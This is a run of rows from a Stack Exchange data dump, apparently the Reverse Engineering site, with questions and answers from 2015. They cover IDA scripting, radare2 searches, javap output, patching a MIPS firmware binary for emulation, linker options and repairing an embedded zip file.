  <row Id="11178" PostTypeId="2" ParentId="11176" CreationDate="2015-10-26T14:05:33.190" Score="0" Body="&lt;p&gt;Calling &lt;code&gt;ld&lt;/code&gt; with the &lt;code&gt;--whole-archive&lt;/code&gt; option forces it to load all library objects rather than just the ones that are used in your source file. If you don't want to apply this to all libraries, use the &lt;code&gt;--no-whole-archive&lt;/code&gt; option before any libraries that you want the standard linking behavior to apply to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use of these options is detailed in &lt;a href=&quot;http://linux.die.net/man/1/ld&quot; rel=&quot;nofollow&quot;&gt;the man page for ld.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13386" LastActivityDate="2015-10-26T14:05:33.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11179" PostTypeId="2" ParentId="11173" CreationDate="2015-10-26T20:02:59.140" Score="1" Body="&lt;p&gt;Googled that for you: &lt;a href=&quot;http://www.slideshare.net/i0n1c/syscan-singapore-2011-stefan-esser-targeting-the-ios-kernel&quot; rel=&quot;nofollow&quot;&gt;http://www.slideshare.net/i0n1c/syscan-singapore-2011-stefan-esser-targeting-the-ios-kernel&lt;/a&gt; slides 12 and following, by @i0n1c. I don't know if the layout is still the same, but &quot;easier to extract from a firmware image&quot; sounds like good advice.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2015-10-26T20:02:59.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11180" PostTypeId="1" AcceptedAnswerId="11202" CreationDate="2015-10-27T07:53:14.633" Score="1" ViewCount="382" Body="&lt;p&gt;I'm working on reverse a binary from a MIPS based router. In order to do it I'm emulating the binary with qemu, but the binary executes some routines before stating with the logic that skips the execution if it's not loaded on the router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I confirmed that if I skip the execution of those routines by editing some bytes I can run the binary locally and dynamically debug it. For now I'm doing it manually but I want to patch it so I can run it faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem comes once I change some bytes and try to export it in IDA I tried the idc script to write the changes, also ida_patcher with a DIF file and the built in function to export the changes (Edit&gt;Patch Program...) but the changes are not applied to the binary and I can't generate a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking in edit the binary with an hex editor but I was wondering if I can do it with IDA.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastActivityDate="2015-10-29T06:53:47.703" Title="Patching MIPS binary file on IDA fails at build" Tags="|ida|firmware|mips|patching|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11181" PostTypeId="1" AcceptedAnswerId="12999" CreationDate="2015-10-27T11:28:39.980" Score="7" ViewCount="892" Body="&lt;p&gt;So i'm trying to add a custom toolbar to IDA 6.4 using their PySide download and the IDAAPI.  I've tried adding a toolbar by just creating one but since it doesn't have an exec_() method I can't get it on the screen and it looks like I need to be loading it into a window with something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.toolbar = self.addToolBar('var')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;though in this case the &quot;self&quot; is a window which makes me think I need a reference to IDA's main window.  Anyone know how i can get that reference?&lt;/p&gt;&#xA;" OwnerUserId="13914" LastActivityDate="2017-04-14T09:01:29.190" Title="Adding a toolbar to IDA using PySide" Tags="|ida|idapython|ida-plugin|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11182" PostTypeId="1" AcceptedAnswerId="11188" CreationDate="2015-10-27T11:30:24.583" Score="2" ViewCount="299" Body="&lt;pre&gt;&lt;code&gt;[0x00402079]&amp;gt; / valid&#xA;Searching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64&#xA;# 3 [0x401000-0x40561e]&#xA;hits: 5&#xA;0x00401695 hit6_0 &quot;valid&quot;&#xA;0x00401fca hit6_1 &quot;valid&quot;&#xA;0x00402095 hit6_2 &quot;valid&quot;&#xA;0x004029ca hit6_3 &quot;valid&quot;&#xA;0x004037ca hit6_4 &quot;valid&quot;&#xA;&#xA;[0x00402079]&amp;gt; / valid~[0]&#xA;Searching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64&#xA;# 3 [0x401000-0x40561e]&#xA;hits: 5&#xA;0x00401695&#xA;0x00401fca&#xA;0x00402095&#xA;0x004029ca&#xA;0x004037ca&#xA;&#xA;[0x008040f2]&amp;gt; ? {/ valid~[0]}&#xA;RNum ERROR: Division by Zero&#xA;0&#xA;&#xA;[0x008040f2]&amp;gt; ? 0x00401695&#xA;4200085 0x401695 020013225 4M 40000:0695 4200085 10010101 0.0 0.000000f 0.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i Disassemble OR work with the output of one search ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree other methods to automated job with search results, &#xA;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="13967" LastActivityDate="2015-10-29T18:56:33.310" Title="Disassembling output of searches radare2" Tags="|radare2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11184" PostTypeId="1" AcceptedAnswerId="11185" CreationDate="2015-10-27T14:53:40.677" Score="1" ViewCount="2958" Body="&lt;p&gt;During the debugging I can see all the function's local variables in tab &lt;strong&gt;Locals&lt;/strong&gt; (Debugger -&gt; Debugger Windows -&gt; Locals(HEXRAYS)). For example I have a struct variable &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a1    0x891E1160:{pBuf=0x7FC52F20,size=0x100}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to write a python script to dump such data into a file. The only thing I cannot understand is how to get value of local variable by it's name. It should be something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fdump = open(filename, 'wb')&#xA;ptr = get_var('a1')['pBuf']&#xA;size = get_var('a1')['size']&#xA;buf = idc.GetManyBytes(ptr, size, True)&#xA;fdump.write(buf)&#xA;fdump.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a function like &lt;code&gt;get_var&lt;/code&gt; in idautils, idc, or idaapi?&lt;/p&gt;&#xA;" OwnerUserId="13969" LastEditorUserId="13969" LastEditDate="2015-10-27T14:59:47.793" LastActivityDate="2019-01-03T13:22:13.067" Title="IDA scripting - get local variable by its name" Tags="|ida|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11185" PostTypeId="2" ParentId="11184" CreationDate="2015-10-27T15:24:07.967" Score="1" Body="&lt;p&gt;This is not full solution, but probably will help (assuming that you have IDA 6.6+ version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Display user-defined local variable information&#xA;# First defined the visitor class&#xA;class dump_lvar_info_t(idaapi.user_lvar_visitor_t):&#xA;&#xA;    def __init__(self):&#xA;        idaapi.user_lvar_visitor_t.__init__(self)&#xA;        self.displayed_header = False&#xA;        return&#xA;&#xA;    def get_info_qty_for_saving(self):&#xA;        return 0&#xA;&#xA;    def get_info_for_saving(self, lv):&#xA;        return False&#xA;&#xA;    def handle_retrieved_info(self, lv):&#xA;&#xA;        try:&#xA;            if not self.displayed_header:&#xA;                self.displayed_header = True;&#xA;                print &quot;------- User defined local variable information&quot;&#xA;&#xA;            print &quot;Lvar defined at %x&quot; % (lv.ll.defea, )&#xA;&#xA;            if len(str(lv.name)):&#xA;                print &quot;  Name: %s&quot; % (str(lv.name), )&#xA;&#xA;            if len(str(lv.type)):&#xA;                #~ print_type_to_one_line(buf, sizeof(buf), idati, .c_str());&#xA;                print &quot;  Type: %s&quot; % (str(lv.type), )&#xA;&#xA;            if len(str(lv.cmt)):&#xA;                print &quot;  Comment: %s&quot; % (str(lv.cmt), )&#xA;        except:&#xA;            traceback.print_exc()&#xA;        return 0&#xA;&#xA;    def handle_retrieved_mapping(self, lm):&#xA;        return 0&#xA;&#xA;    def get_info_mapping_for_saving(self):&#xA;        return None&#xA;&#xA;# Now iterate over all user definitions&#xA;dli = dump_lvar_info_t();&#xA;idaapi.restore_user_lvar_settings(entry_ea, dli)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't remember where exactly this code originates from, probably from IDAPython sources on google code. Here you have iteration over variables, all the rest should be doable.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-10-27T15:24:07.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11186" PostTypeId="1" AcceptedAnswerId="11187" CreationDate="2015-10-27T16:30:05.490" Score="2" ViewCount="586" Body="&lt;p&gt;I'm trying to write a custom signature for a java tool called &quot;findbugs.&quot;  The specific example I'm looking to detect are instances where a static, non-concurrent hashmap is instantiated.  In a multi-threaded environment this causes bad things™ to happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my java source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.util.HashMap;&#xA;import java.util.Map;&#xA;&#xA;&#xA;public class StaticInitializationOfHashMap {&#xA;    private static Map&amp;lt;String,String&amp;gt; hashMap;&#xA;&#xA;    private static void init() throws Exception {&#xA;        hashMap = new HashMap&amp;lt;String,String&amp;gt;();&#xA;        for(int x = 0; x &amp;lt; 1000; x++) {&#xA;            hashMap.put(&quot;Key_&quot; + x, &quot;Value_&quot; + x);&#xA;        }&#xA;    }&#xA;&#xA;    public static void main(String[] args) throws Exception {&#xA;        init();&#xA;        for(int i = 0; i &amp;lt; hashMap.size(); ++i) {&#xA;            System.out.println(hashMap.get(&quot;Key_&quot; + i));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my javap -c -v output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Classfile /c:/gitRepos/findbugs/findbugsTestCases/build/classes/StaticInitializationOfHashMap.class&#xA;  Last modified Oct 27, 2015; size 1478 bytes&#xA;  MD5 checksum d1b1e57f69d1b13f658ee996fc2bbd24&#xA;  Compiled from &quot;StaticInitializationOfHashMap.java&quot;&#xA;public class StaticInitializationOfHashMap&#xA;  SourceFile: &quot;StaticInitializationOfHashMap.java&quot;&#xA;  minor version: 0&#xA;  major version: 51&#xA;  flags: ACC_PUBLIC, ACC_SUPER&#xA;&#xA;Constant pool:&#xA;   #1 = Methodref          #20.#45        //  java/lang/Object.&quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;   #2 = Class              #46            //  java/util/HashMap&#xA;   #3 = Methodref          #2.#45         //  java/util/HashMap.&quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;   #4 = Fieldref           #19.#47        //  StaticInitializationOfHashMap.hashMap:Ljava/util/Map;&#xA;   #5 = Class              #48            //  java/lang/StringBuilder&#xA;   #6 = Methodref          #5.#45         //  java/lang/StringBuilder.&quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;   #7 = String             #49            //  Key_&#xA;   #8 = Methodref          #5.#50         //  java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;   #9 = Methodref          #5.#51         //  java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;&#xA;  #10 = Methodref          #5.#52         //  java/lang/StringBuilder.toString:()Ljava/lang/String;&#xA;  #11 = String             #53            //  Value_&#xA;  #12 = InterfaceMethodref #54.#55        //  java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #13 = Methodref          #19.#56        //  StaticInitializationOfHashMap.init:()V&#xA;  #14 = InterfaceMethodref #54.#57        //  java/util/Map.size:()I&#xA;  #15 = Fieldref           #58.#59        //  java/lang/System.out:Ljava/io/PrintStream;&#xA;  #16 = InterfaceMethodref #54.#60        //  java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #17 = Class              #61            //  java/lang/String&#xA;  #18 = Methodref          #62.#63        //  java/io/PrintStream.println:(Ljava/lang/String;)V&#xA;  #19 = Class              #64            //  StaticInitializationOfHashMap&#xA;  #20 = Class              #65            //  java/lang/Object&#xA;  #21 = Utf8               hashMap&#xA;  #22 = Utf8               Ljava/util/Map;&#xA;  #23 = Utf8               Signature&#xA;  #24 = Utf8               Ljava/util/Map&amp;lt;Ljava/lang/String;Ljava/lang/String;&amp;gt;;&#xA;  #25 = Utf8               &amp;lt;init&amp;gt;&#xA;  #26 = Utf8               ()V&#xA;  #27 = Utf8               Code&#xA;  #28 = Utf8               LineNumberTable&#xA;  #29 = Utf8               LocalVariableTable&#xA;  #30 = Utf8               this&#xA;  #31 = Utf8               LStaticInitializationOfHashMap;&#xA;  #32 = Utf8               init&#xA;  #33 = Utf8               x&#xA;  #34 = Utf8               I&#xA;  #35 = Utf8               StackMapTable&#xA;  #36 = Utf8               Exceptions&#xA;  #37 = Class              #66            //  java/lang/Exception&#xA;  #38 = Utf8               main&#xA;  #39 = Utf8               ([Ljava/lang/String;)V&#xA;  #40 = Utf8               i&#xA;  #41 = Utf8               args&#xA;  #42 = Utf8               [Ljava/lang/String;&#xA;  #43 = Utf8               SourceFile&#xA;  #44 = Utf8               StaticInitializationOfHashMap.java&#xA;  #45 = NameAndType        #25:#26        //  &quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;  #46 = Utf8               java/util/HashMap&#xA;  #47 = NameAndType        #21:#22        //  hashMap:Ljava/util/Map;&#xA;  #48 = Utf8               java/lang/StringBuilder&#xA;  #49 = Utf8               Key_&#xA;  #50 = NameAndType        #67:#68        //  append:(Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;  #51 = NameAndType        #67:#69        //  append:(I)Ljava/lang/StringBuilder;&#xA;  #52 = NameAndType        #70:#71        //  toString:()Ljava/lang/String;&#xA;  #53 = Utf8               Value_&#xA;  #54 = Class              #72            //  java/util/Map&#xA;  #55 = NameAndType        #73:#74        //  put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #56 = NameAndType        #32:#26        //  init:()V&#xA;  #57 = NameAndType        #75:#76        //  size:()I&#xA;  #58 = Class              #77            //  java/lang/System&#xA;  #59 = NameAndType        #78:#79        //  out:Ljava/io/PrintStream;&#xA;  #60 = NameAndType        #80:#81        //  get:(Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #61 = Utf8               java/lang/String&#xA;  #62 = Class              #82            //  java/io/PrintStream&#xA;  #63 = NameAndType        #83:#84        //  println:(Ljava/lang/String;)V&#xA;  #64 = Utf8               StaticInitializationOfHashMap&#xA;  #65 = Utf8               java/lang/Object&#xA;  #66 = Utf8               java/lang/Exception&#xA;  #67 = Utf8               append&#xA;  #68 = Utf8               (Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;  #69 = Utf8               (I)Ljava/lang/StringBuilder;&#xA;  #70 = Utf8               toString&#xA;  #71 = Utf8               ()Ljava/lang/String;&#xA;  #72 = Utf8               java/util/Map&#xA;  #73 = Utf8               put&#xA;  #74 = Utf8               (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #75 = Utf8               size&#xA;  #76 = Utf8               ()I&#xA;  #77 = Utf8               java/lang/System&#xA;  #78 = Utf8               out&#xA;  #79 = Utf8               Ljava/io/PrintStream;&#xA;  #80 = Utf8               get&#xA;  #81 = Utf8               (Ljava/lang/Object;)Ljava/lang/Object;&#xA;  #82 = Utf8               java/io/PrintStream&#xA;  #83 = Utf8               println&#xA;  #84 = Utf8               (Ljava/lang/String;)V&#xA;{&#xA;  public StaticInitializationOfHashMap();&#xA;    flags: ACC_PUBLIC&#xA;&#xA;    Code:&#xA;      stack=1, locals=1, args_size=1&#xA;         0: aload_0       &#xA;         1: invokespecial #1                  // Method java/lang/Object.&quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;         4: return        &#xA;      LineNumberTable:&#xA;        line 5: 0&#xA;      LocalVariableTable:&#xA;        Start  Length  Slot  Name   Signature&#xA;               0       5     0  this   LStaticInitializationOfHashMap;&#xA;&#xA;  public static void main(java.lang.String[]) throws java.lang.Exception;&#xA;    flags: ACC_PUBLIC, ACC_STATIC&#xA;&#xA;    Code:&#xA;      stack=4, locals=2, args_size=1&#xA;         0: invokestatic  #13                 // Method init:()V&#xA;         3: iconst_0      &#xA;         4: istore_1      &#xA;         5: iload_1       &#xA;         6: getstatic     #4                  // Field hashMap:Ljava/util/Map;&#xA;         9: invokeinterface #14,  1           // InterfaceMethod java/util/Map.size:()I&#xA;        14: if_icmpge     59&#xA;        17: getstatic     #15                 // Field java/lang/System.out:Ljava/io/PrintStream;&#xA;        20: getstatic     #4                  // Field hashMap:Ljava/util/Map;&#xA;        23: new           #5                  // class java/lang/StringBuilder&#xA;        26: dup           &#xA;        27: invokespecial #6                  // Method java/lang/StringBuilder.&quot;&amp;lt;init&amp;gt;&quot;:()V&#xA;        30: ldc           #7                  // String Key_&#xA;        32: invokevirtual #8                  // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;&#xA;        35: iload_1       &#xA;        36: invokevirtual #9                  // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;&#xA;        39: invokevirtual #10                 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;&#xA;        42: invokeinterface #16,  2           // InterfaceMethod java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;&#xA;        47: checkcast     #17                 // class java/lang/String&#xA;        50: invokevirtual #18                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V&#xA;        53: iinc          1, 1&#xA;        56: goto          5&#xA;        59: return        &#xA;      LineNumberTable:&#xA;        line 16: 0&#xA;        line 17: 3&#xA;        line 18: 17&#xA;        line 17: 53&#xA;        line 20: 59&#xA;      LocalVariableTable:&#xA;        Start  Length  Slot  Name   Signature&#xA;               5      54     1     i   I&#xA;               0      60     0  args   [Ljava/lang/String;&#xA;      StackMapTable: number_of_entries = 2&#xA;           frame_type = 252 /* append */&#xA;             offset_delta = 5&#xA;        locals = [ int ]&#xA;           frame_type = 250 /* chop */&#xA;          offset_delta = 53&#xA;&#xA;    Exceptions:&#xA;      throws java.lang.Exception&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;0: invokestatic  #13&lt;/code&gt; it appears that we're calling the &lt;code&gt;init()&lt;/code&gt; method, however in my disassembly, I'm not seeing a reference to a decompiled method called &lt;code&gt;init&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?  It appears that the init method was optimized directly into my main method, but I thought that when using Oracle products, that all optimizations were deferred to the JIT and not at compile time?&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2015-10-27T16:30:49.360" Title="javap is not displaying an expected method" Tags="|disassembly|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11187" PostTypeId="2" ParentId="11186" CreationDate="2015-10-27T16:30:49.360" Score="1" Body="&lt;p&gt;Turns out that the problem was me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to run the command &lt;code&gt;javap -c -private &amp;lt;className&amp;gt;&lt;/code&gt; or else javap defaults to not showing disassembly of private methods.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2015-10-27T16:30:49.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11188" PostTypeId="2" ParentId="11182" CreationDate="2015-10-27T21:43:34.080" Score="1" Body="&lt;pre&gt;&lt;code&gt;[0x01012475]&amp;gt; / calc&#xA;Searching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63&#xA;# 3 [0x1001000-0x101e960]&#xA;hits: 3&#xA;0x0100161c hit1_0 &quot;calc&quot;&#xA;0x01015079 hit1_1 &quot;\\u00ff\\u00ff\\u00ff\\u00ff&quot;&#xA;0x01016679 hit1_2 &quot;calc&quot;&#xA;[0x01012475]&amp;gt; pdi 4 @ hit1_0&#xA;0x0100161c    hit1_0:&#xA;0x0100161c           63616c  arpl word [ecx + 0x6c], sp&#xA;0x0100161f             632e  arpl word [esi], bp&#xA;0x01001621             7064  jo 0x1001687&#xA;0x01001623             6200  bound eax, qword [eax]&#xA;[0x01012475]&amp;gt; pdi 4 @ hit1_1&#xA;0x01015079    hit1_1:&#xA;0x01015079               ff  invalid&#xA;0x0101507a               ff  invalid&#xA;0x0101507b               ff  invalid&#xA;0x0101507c               ff  invalid&#xA;[0x01012475]&amp;gt; pdi 4 @ hit1_2&#xA;0x01016679    hit1_2:&#xA;0x01016679           63616c  arpl word [ecx + 0x6c], sp&#xA;0x0101667c             6322  arpl word [edx], sp&#xA;0x0101667e       0d0a202020  or eax, 0x2020200a&#xA;0x01016683           207072  and byte [eax + 0x72], dh&#xA;[0x01012475]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use regular expression&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt;radare2 c:\WINDOWS\system32\calc.exe&#xA; -- Nothing to see here. Move along.&#xA;[0x01012475]&amp;gt; / calc&#xA;Searching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63&#xA;# 3 [0x1001000-0x101e960]&#xA;hits: 3&#xA;0x0100161c hit0_0 &quot;calc&quot;&#xA;0x01015079 hit0_1 &quot;\\u00ff\\u00ff\\u00ff\\u00ff&quot;&#xA;0x01016679 hit0_2 &quot;calc&quot;&#xA;[0x01012475]&amp;gt; pdi 4 @@ hit*&#xA;0x0100161c    hit0_0:&#xA;0x0100161c           63616c  arpl word [ecx + 0x6c], sp&#xA;0x0100161f             632e  arpl word [esi], bp&#xA;0x01001621             7064  jo 0x1001687&#xA;0x01001623             6200  bound eax, qword [eax]&#xA;0x01015079    hit0_1:&#xA;0x01015079               ff  invalid&#xA;0x0101507a               ff  invalid&#xA;0x0101507b               ff  invalid&#xA;0x0101507c               ff  invalid&#xA;0x01016679    hit0_2:&#xA;0x01016679           63616c  arpl word [ecx + 0x6c], sp&#xA;0x0101667c             6322  arpl word [edx], sp&#xA;0x0101667e       0d0a202020  or eax, 0x2020200a&#xA;0x01016683           207072  and byte [eax + 0x72], dh&#xA;[0x01012475]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also use an iterator: &lt;code&gt;pid 4 @@ `/ ls`&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks jvoisin for the edit &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x01012475]&amp;gt; px @@ `/ calc`&#xA;Searching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63&#xA;# 3 [0x1001000-0x101e960]&#xA;hits: 2&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0100161c  6361 6c63 2e70 6462 0000                 calc.pdb..&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x01016679  6361 6c63 220d 0a20 2020                 calc&quot;..&#xA;[0x01012475]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-10-29T18:56:33.310" LastActivityDate="2015-10-29T18:56:33.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11189" PostTypeId="2" ParentId="11173" CreationDate="2015-10-27T23:23:38.597" Score="-1" Body="&lt;p&gt;Just so you know, this is a legal grey area. I know Apple would NOT be happy. Since I don't feel like reading their thousand page terms of use I'll tell you that most software companies(quoting from HTC's bootloader red text) state that you may not distribute your actual findings or source code. You're welcome to report bugs, but anything else could end badly. &lt;/p&gt;&#xA;" OwnerUserId="12961" LastActivityDate="2015-10-27T23:23:38.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11190" PostTypeId="1" CreationDate="2015-10-28T04:23:58.827" Score="3" ViewCount="350" Body="&lt;p&gt;This is my first time asking something on SE and I'll do the best I can to provide all of the required information, but I apologize in advance if I'm not clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to reverse engineer a certain fighting game to be able to run the moves &quot;manually&quot;.  What I mean by this is, say a certain power move is run by pressing S A J quickly on the keyboard, I want to be able to just jump to the method to use that move in the code without having to press the keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so far I've tried using CheatEngine and OllyDbg to search for strings that match the move names, and also looked at what values changed before, during, and after executing the move, but neither seems to have done anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm relatively new to the assembly language, but have quite a bit of experience in c++, c# and other languages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked for questions similar to this one before posting it, but couldn't seem to find anything that would help.  If this has been posted before and I just missed it, sorry about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any answers.&lt;/p&gt;&#xA;" OwnerUserId="13974" LastActivityDate="2022-10-19T07:03:25.393" Title="How to force run a method triggered with a series of keys in a game?" Tags="|functions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11191" PostTypeId="1" AcceptedAnswerId="11198" CreationDate="2015-10-28T07:48:33.917" Score="1" ViewCount="120" Body="&lt;p&gt;My question is how cmd arguments are passed from the shell to the process memory ?&#xA;How the loader loads them and if there are passed with some sort of syscall ?&#xA;ill be happy if some one can explain in details or point to a relevant article.&lt;/p&gt;&#xA;" OwnerUserId="13976" LastActivityDate="2015-10-28T15:14:07.620" Title="How do cmd arguments are loaded to process memory before they're passed to main?" Tags="|command-line|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11192" PostTypeId="1" AcceptedAnswerId="11232" CreationDate="2015-10-28T08:17:06.547" Score="1" ViewCount="558" Body="&lt;p&gt;How would you scann all sections mapped in the local memory context to find &lt;code&gt;gsharedinfo&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gsharedinfo&lt;/code&gt; is not exported from &lt;code&gt;user32.dll&lt;/code&gt; on Windows server 2008 !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be grateful if you could help me.&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="53" LastEditDate="2015-10-30T08:11:02.427" LastActivityDate="2016-03-01T21:58:19.400" Title="how to find gsharedinfo from current memory?" Tags="|debugging|c|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11193" PostTypeId="1" AcceptedAnswerId="11195" CreationDate="2015-10-28T09:25:41.890" Score="3" ViewCount="938" Body="&lt;p&gt;I'm learning about stenography and found &lt;a href=&quot;https://i.stack.imgur.com/7ZhTE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the instructions but when I write out a new zip file after changing the filename inside the file I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unzip nospaces.zip&#xA;Archive:  nospaces.zip&#xA;  End-of-central-directory signature not found.  Either this file is not&#xA;  a zipfile, or it constitutes one disk of a multi-part archive.  In the&#xA;  latter case the central directory and zipfile comment will be found on&#xA;  the last disk(s) of this archive.&#xA;note:  nospaces.zip may be a plain executable, not an archive&#xA;unzip:  cannot find zipfile directory in one of nospaces.zip or&#xA;        nospaces.zip.zip, and cannot find nospaces.zip.ZIP, period.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that I could use &lt;code&gt;zip -FF --out&lt;/code&gt; to 'fix' the zip file and extract the embedded contents but would like to understand what I might be doing wrong when saving the contents of the original file between 0x504B0304 and 0x506B0506&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the same results in WinHex (32bit Windows 10 VM) and HexFiend (OSX 10.10.5 - 64bit.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest what I might have done wrong when editing the file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7ZhTE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ZhTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E2vqi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E2vqi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13875" LastEditorUserId="13875" LastEditDate="2015-10-28T09:33:49.353" LastActivityDate="2015-10-28T10:10:58.560" Title="End of central directory signature not found after extracting an embedded zip file" Tags="|decryption|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
